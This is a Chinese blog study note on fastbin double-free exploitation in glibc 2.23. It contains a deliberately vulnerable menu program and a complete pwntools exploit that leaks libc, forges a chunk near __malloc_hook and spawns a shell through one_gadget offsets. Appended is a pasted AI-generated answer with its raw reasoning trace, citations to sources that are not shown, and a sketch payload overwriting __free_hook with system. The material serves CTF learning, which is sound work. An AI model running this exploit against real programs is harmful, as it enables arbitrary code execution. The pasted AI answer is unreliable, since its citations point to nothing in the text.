【我的 PWN 学习手札】Fastbin Double Free

前言

Fastbin的Double Free实际上还是利用其特性产生UAF的效果,使得可以进行Fastbin Attack 


一、Double Free

double free,顾名思义,free两次。对于fastbin这种单链表的组织结构,会形成这样一个效果:

如果我们malloc一块chunk,修改其fd指针,实际上实现了这样的效果:

这样就可以后利用到劫持__malloc_hook实现getshell

然而glibc有如下检查:

if (__builtin_expect(old == p, 0)) {
    errstr = "double free or corruption (fasttop)";
    goto errout;
}

意思是“刚去下来的chunk,和现在对应fastbin的第一个free chunk不能是同一个”,也即,两个chunk在fastbin中不能是自指的。

绕过也非常简单:在double free之中穿插释放其他的同样size的chunk即可

 

此时 malloc 获取 chunk1 等价于 UAF 漏洞。可以修改 chunk1 的 fd 指针指向特定地址,这样就
可以在特定位置申请 chunk 。利用Double Free,可以实现在没有edit函数的情况下(只能add时写),达成fastbin attack的效果

不过仍需要满足size的要求,具体看这一篇。 

二、测试与模板

这里用FastbinAttack的示例,稍作修改,用DoubleFree实现利用。

 

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'

io=process('./pwn')
def add(index,size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)
def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())

gdb.attach(io)

# leak libc
add(0,0x100)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7c1ab1200000-0x7c1ab159bb78
success(hex(libc_base))

# Fastbin Double Free
target_addr=libc_base-0x7c1ab1200000+0x7c1ab159baed

add(0,0x68) # chunk0
add(1,0x68) # chunk1
delete(0)   # chunk0
delete(1)   # chunk1
delete(0)   # chunk0
pause()
add(2,0x68) # chunk0
edit(2,0x8,p64(target_addr))
pause()
add(3,0x68) # chunk1
add(4,0x68) # chunk0
add(5,0x68) # fake_chunk

# one_gadget
'''
0x3f3e6 execve("/bin/sh", rsp+0x30, environ)
constraints:
  address rsp+0x40 is writable
  rax == NULL || {rax, "-c", rbx, NULL} is a valid argv

0x3f43a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xd5c07 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''
# edit(0,0x13+0x8,b'a'*0x13+p64(libc_base+0xd5c07))   
edit(5,0x13+0x8,b'a'*(0x13-0x8)+p64(libc_base+0x3f43a)+p64(libc_base+libc.sym['realloc']+9))
add(0,0x10)
io.interactive()
<think>好的,我现在需要回答用户关于PWNdouble free漏洞的利用方法和防御措施的问题。首先,我需要回忆一下double free的基本概念。Double free指的是在程序中多次释放同一块内存,这可能导致内存管理数据结构的破坏,进而被攻击者利用。 根据引用[1]中提到,常规题目中主函数可能存在触发shell的条件,但free函数对UAF(Use After Free)和double free(df)有防御措施,无法直接突破。然而,edit函数存在漏洞,允许控制写入字节,导致overlapping攻击。这说明即使有防御,如果其他函数存在漏洞,仍可能被利用。 接下来,引用[2]指出,double free原语几乎无懈可击,但UAF或溢出类漏洞需要精确修改结构体中的特定位置值。如果攻击者能控制写入的位置和内容,就能绕过防御,比如修改chunk的指针,构造任意地址读写。 然后,引用[3]关于堆风水的部分提到,堆排布是堆漏洞利用的关键,需要熟悉glibc的内存管理策略。破坏堆内存管理的数据结构如bin或chunk,可以导致任意内存读写或控制流劫持。防御方法包括Heap Canary、CFI、ASLR等。 现在,结合这些信息,我需要整理利用double free的步骤。首先,触发double free,连续释放同一chunk两次,这会使得bin链表出现循环。接着,通过堆排布,重新分配这些chunk,并利用edit函数修改fd或bk指针,指向伪造的chunk。然后,分配伪造的chunk,实现任意地址写,比如修改GOT表或函数指针,最后劫持控制流执行shellcode或ROP链。 防御措施方面,引用[2]和[3]提到,glibc的改进如tcache double free检测,在释放时会检查chunk是否已在链表中。此外,Heap Canary可以检测堆溢出,ASLR和DEP增加利用难度。代码审计和安全机制如CFI也能有效防御。 需要确保回答结构清晰,分点说明利用方法和防御措施,并引用提供的资料。同时,按照用户要求,生成相关问题,例如利用步骤、防御技术、绕过方法等。</think>### PWNdouble free漏洞的利用与防御分析 #### 1. Double Free漏洞原理 double free指对同一块堆内存进行多次释放,破坏glibc内存管理结构(如tcache或fastbin的链表),导致内存布局可控。例如,连续释放chunk A两次后,其fd指针可能形成循环链表,后续分配时可构造重叠的chunk,最终实现任意地址读写或控制流劫持[^2][^3]。 #### 2. 利用方法及步骤 **典型利用流程**: 1. **触发double free**:通过程序逻辑连续释放同一chunk两次,例如: ```c free(ptr); free(ptr); // 触发double free ``` 2. **堆排布(Heap Feng Shui)**:通过分配特定大小的chunk,控制内存布局,使后续分配的chunk覆盖关键数据。 3. **修改链表指针**:利用存在漏洞的`edit`函数修改chunk的`fd`或`bk`指针,指向伪造的chunk(如GOT表、`__free_hook`等)[^1]。 4. **分配伪造chunk**:通过`malloc`获取指向目标地址的指针,实现任意地址写入,例如修改`__free_hook`为`system`地址。 5. **触发执行流劫持**:调用`free`或相关函数时,跳转至攻击者控制的代码(如ROP链或shellcode)[^4]。 **示例场景**: 若程序允许写入释放后的chunk,攻击者可构造如下payload: ```python # 假设chunk大小为0x20 add(0x20, "A") # chunk A free(0) free(0) # double free edit(0, p64(libc_base + 0x1eeb28)) # 修改fd指针指向__free_hook add(0x20, "B") # 分配chunk A add(0x20, "/bin/sh") # 分配chunk A的fd指向位置(即__free_hook) add(0x20, p64(system_addr)) # 将__free_hook覆盖为system free("/bin/sh") # 触发system("/bin/sh") ``` #### 3. 防御措施 1. **glibc防护机制**: - **tcache double free检测**:glibc 2.29+在释放时会检查chunk是否已在tcache链表中。 - **fastbin完整性校验**:分配时验证`fd`指针是否指向合法内存区域。 2. **堆内存保护技术**: - **Heap Canary**:检测堆溢出对管理结构的破坏。 - **Safe-Linking**(glibc 2.32+):对链表指针进行异或加密,增加伪造难度。 3. **系统级防护**: - **ASLR**:随机化地址空间,增加定位目标的难度。 - **DEP**:阻止攻击者执行堆栈中的shellcode[^3]。 4. **代码审计**: - 严格检查`free`前后指针置空情况,避免悬垂指针。 - 限制用户对chunk内容的写入范围和权限。 #### 4. 绕过防御的常见方法 - **利用其他漏洞组合**:若存在堆溢出或UAF,可覆盖`key`字段(tcache的double free检测标志)。 - **构造特定内存布局**:通过大量分配/释放操作,使伪造的chunk通过glibc的完整性检查。 - **劫持控制流的替代目标**:若`__free_hook`被保护,可转向修改`_IO_FILE`结构体或ROP链[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值